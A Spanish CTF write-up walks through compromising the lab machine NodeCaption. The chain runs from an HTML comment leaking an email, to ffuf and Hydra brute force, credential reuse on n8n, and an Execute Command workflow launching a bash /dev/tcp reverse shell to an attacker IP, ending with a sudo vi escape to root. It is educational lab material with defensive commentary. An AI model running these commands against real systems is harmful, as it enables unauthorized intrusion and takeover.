Autor: Oscar | Senior Platform Engineer / SRE
Dificultad: intermedio | SO: Linux

Sobre este CTF

NodeCaption es una máquina que diseñé para representar una cadena de compromiso basada en varios errores muy concretos: exposición innecesaria de servicios, filtrado de información útil en contenido web, reutilización de credenciales y abuso de herramientas de automatización con capacidad de ejecución sobre el sistema.

No hace falta una vulnerabilidad sofisticada para comprometer un host si la superficie expuesta está mal pensada. Cuando una aplicación web revela información útil, el acceso al panel se protege mal y una plataforma como n8n permite ejecutar comandos, la distancia entre autenticación débil y control total del sistema se reduce mucho.

En esta entrada muestro la resolución completa, desde la enumeración inicial hasta la obtención de root, explicando qué representa cada fase y por qué esta cadena tiene sentido fuera del laboratorio.

Información técnica

Reconocimiento

Enumeración inicial

El primer paso fue identificar los servicios expuestos por la máquina. A partir de la enumeración inicial se detectaron tres puertos relevantes:

• 22/tcp → SSH
• 5678/tcp → servicio HTTP correspondiente a n8n
• 8765/tcp → servidor Apache

Con esa superficie identificada, el foco pasa a las dos aplicaciones web, ya que son las que pueden ofrecer tanto información como una vía de acceso inicial.

Exploración web

Puerto 8765 — Apache

Accedemos al servicio Apache expuesto en el puerto 8765 y revisamos el código fuente de la página principal.

Allí aparece un comentario especialmente útil:

<!-- usuario@maildelctf.com
Recuerda: mínimo 8 caracteres, 1 número y 1 mayúscula -->

Comentario

Ese comentario es el primer error serio del escenario.

No contiene una contraseña, pero sí entrega dos piezas muy valiosas:

• un usuario válido
• una pista directa sobre la política mínima de contraseña

Eso no rompe el sistema por sí solo, pero sí reduce de forma importante el espacio de búsqueda y convierte el proceso de autenticación en un objetivo mucho más abordable.

Fuzzing de rutas

Con el objetivo de localizar un panel de autenticación, realizamos fuzzing de directorios sobre el puerto 8765:

gobuster dir -u http://192.168.0.115:8765 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt

Como resultado, localizamos el endpoint:

login.php

Ese recurso presenta un formulario de autenticación basado en correo y contraseña.

Análisis

La cadena empieza a quedar clara:

• Apache expone una página aparentemente inocua
• el HTML filtra un correo válido y una política de contraseña
• el mismo sitio contiene un formulario de login en login.php

Esto ya no es solo filtración de información. Es una preparación bastante directa para un ataque de credenciales.

Acceso inicial

Fuerza bruta contra login.php

Con el correo obtenido desde el comentario HTML, realizamos un ataque de fuerza bruta contra el formulario web:

ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "email=usuario@maildelctf.com&password=FUZZ" -u http://192.168.0.115:8765/login.php -H "Content-Type: application/x-www-form-urlencoded" -mc all -fs 1808

Este ataque permite identificar una contraseña válida para el usuario usuario@maildelctf.com, obteniendo acceso correcto al panel web.

Comentario

Aquí no hay bypass de autenticación ni ninguna magia. Lo que hay es una mala combinación de factores:

• usuario expuesto en el código fuente
• pista sobre los requisitos de contraseña
• formulario accesible públicamente
• ausencia de controles eficaces frente a intentos automatizados

Es una cadena muy simple, pero perfectamente plausible fuera de un laboratorio.

Reutilización de credenciales

Una vez obtenidas las credenciales válidas en el panel del puerto 8765, probamos si esas mismas credenciales se reutilizan en la instancia de n8n expuesta en el puerto 5678.

La autenticación funciona correctamente.

Análisis

Este paso representa una mala práctica muy concreta y muy habitual: reutilización de credenciales entre aplicaciones distintas.

No hace falta comprometer dos sistemas diferentes si ambos dependen del mismo secreto. En este caso, la misma credencial abre la puerta al panel de automatización, que tiene un impacto mucho mayor sobre el host.

Ejecución remota de comandos en n8n

Creación de un workflow malicioso

Una vez dentro del panel de n8n, creamos un workflow con un nodo Execute Command, lo que nos permite ejecutar comandos directamente sobre el sistema.

Aprovechando esa capacidad, configuramos una reverse shell hacia nuestra máquina atacante:

bash -c 'bash -i >& /dev/tcp/192.168.0.109/4444 0>&1'

En el equipo atacante preparamos el listener:

nc -nlvp 4444

Después ejecutamos el workflow desde n8n y recibimos conexión.

Resultado: shell interactiva obtenida como usuario thl.

Comentario

Este es el núcleo técnico del laboratorio.

n8n no es inseguro por definición. El problema aparece cuando una plataforma con capacidad de orquestación y ejecución queda expuesta a credenciales débiles o reutilizadas. En ese momento deja de ser una herramienta de automatización y se convierte en una superficie directa de ejecución remota.

Aquí el error no es una CVE. Es una decisión de diseño y operación.

Acceso inicial al sistema

Con la reverse shell ya activa, comprobamos el contexto actual y confirmamos que el acceso se obtiene como el usuario thl.

A partir de ahí, la resolución cambia de fase: ya no estamos buscando entrar en el sistema, sino convertir ese acceso en privilegios completos.

Escalada de privilegios

Revisión de permisos sudo

Una vez dentro, enumeramos permisos sudo:

sudo -l

La revisión muestra que vi puede ejecutarse con privilegios elevados, pero requiere contraseña debido a la configuración de sudo.

Eso significa que la vía de escalada existe, pero todavía nos falta el secreto necesario para usarla.

Obtención de la contraseña de thl

Sabiendo que el servicio SSH estaba expuesto desde el principio, se lanza un ataque de fuerza bruta contra el usuario thl:

hydra -l thl -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.115

Tras obtener una credencial válida, ya podemos iniciar sesión por SSH como thl y disponer de la contraseña necesaria para operar con sudo.

Escape a shell privilegiada con vi

Con la contraseña correcta, aprovechamos vi como vector de escape siguiendo el comportamiento documentado en GTFOBins:

sudo vi -c ':!/bin/sh' /dev/null

Resultado: shell con privilegios de root y control total del sistema.

Análisis

La escalada final vuelve a reforzar la idea central de la máquina:

• un usuario comprometido no implica necesariamente privilegios completos
• pero si ese usuario tiene permisos sudo útiles y una contraseña reutilizable o débil, la escalada deja de ser complicada
• vi, como otras herramientas interactivas, puede convertirse en una vía directa de shell privilegiada si se permite su ejecución como root

De nuevo, no hace falta un fallo raro. Basta con una delegación de privilegios mal planteada.

Notas del autor

Aunque NodeCaption tiene varias fases, la máquina no está diseñada para premiar el ruido, sino para enseñar una secuencia concreta de errores encadenados:

Lo importante de esta máquina no es solo llegar a root. Lo importante es entender cómo una cadena de pequeñas malas decisiones termina convirtiendo una aplicación web expuesta y una plataforma de automatización en una puerta completa al sistema.

Recursos y referencias

• Nmap
• Gobuster
• ffuf
• n8n
• Hydra
• GTFOBins